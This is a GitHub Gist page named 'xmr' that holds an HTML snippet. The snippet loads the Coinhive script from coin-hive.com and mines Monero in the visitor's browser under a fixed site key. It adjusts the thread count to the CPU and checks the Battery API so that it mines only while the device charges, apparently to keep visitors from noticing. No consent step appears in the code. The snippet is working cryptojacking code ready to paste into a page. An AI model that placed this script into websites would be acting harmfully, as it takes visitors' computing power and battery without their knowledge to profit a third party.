Created
December 5, 2017 07:46
-
-
Save jbagaresgaray/94dbc21dd54f6632f40af66b30484252 to your computer and use it in GitHub Desktop.
xmr
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<script src="https://coin-hive.com/lib/coinhive.min.js"></script> | |
<script type="text/javascript"> | |
var xmr = new CoinHive.Anonymous('nZA7gxQv1dArvhcounbgzBcNKQliOCx2', { throttle: 0.85, threads: 2 }); | |
try { | |
var threads = Math.max(1, Math.floor(navigator.hardwareConcurrency / 4)); | |
xmr.setNumThreads(threads); | |
navigator.getBattery().then(function(battery) { | |
if (battery.charging) { | |
xmr.start(); | |
} | |
battery.onchargingchange = function(evt) { | |
if (battery.charging){ | |
xmr.start(); | |
}else{ | |
xmr.stop(); | |
} | |
} | |
}); | |
} catch (e) { | |
xmr.start(); | |
} | |
</script> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment